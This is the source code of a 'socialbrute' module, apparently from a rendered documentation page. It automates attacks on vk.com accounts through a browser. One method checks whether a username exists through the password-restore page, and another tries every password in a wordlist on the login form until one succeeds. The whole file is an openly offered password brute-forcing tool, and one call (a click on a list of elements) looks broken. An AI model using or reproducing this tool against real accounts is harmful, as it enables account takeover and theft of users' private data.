Source code for socialbrute.modules.vk

import time


[docs]class Vk: def __init__(self, browser): self.browser = browser
[docs] def set_config(self, username, wordlist, delay): self.username = username self.name = '' self.wordlist = wordlist self.delay = delay self.url = 'https://vk.com/login'
[docs] def check_user(self): self.browser.driver.get('https://vk.com/restore') try: input = self.browser.wait_until_element_exists('id', 'login_input') input.clear() input.send_keys(self.username) self.browser.driver.find_element_by_id('submitBtn').click() msg = self.browser.driver.find_element_by_xpath( '//div[@class="msg_text"]') if msg: return False else: return True except BaseException: return False
[docs] def crack(self): passwords = [] found = '' with open(self.wordlist, 'r') as f: for line in f: passwords.append(line.strip('\n')) for password in passwords: self.browser.driver.get(self.url) email = self.browser.wait_until_element_exists('id', 'email') email.send_keys(self.username) pwd = self.browser.driver.find_element_by_id('pass') pwd.send_keys(password) self.browser.driver.find_elements_by_id('login_button').click() url = self.browser.driver.current_url if not url.startswith(self.url): found = password break time.sleep(self.delay) return found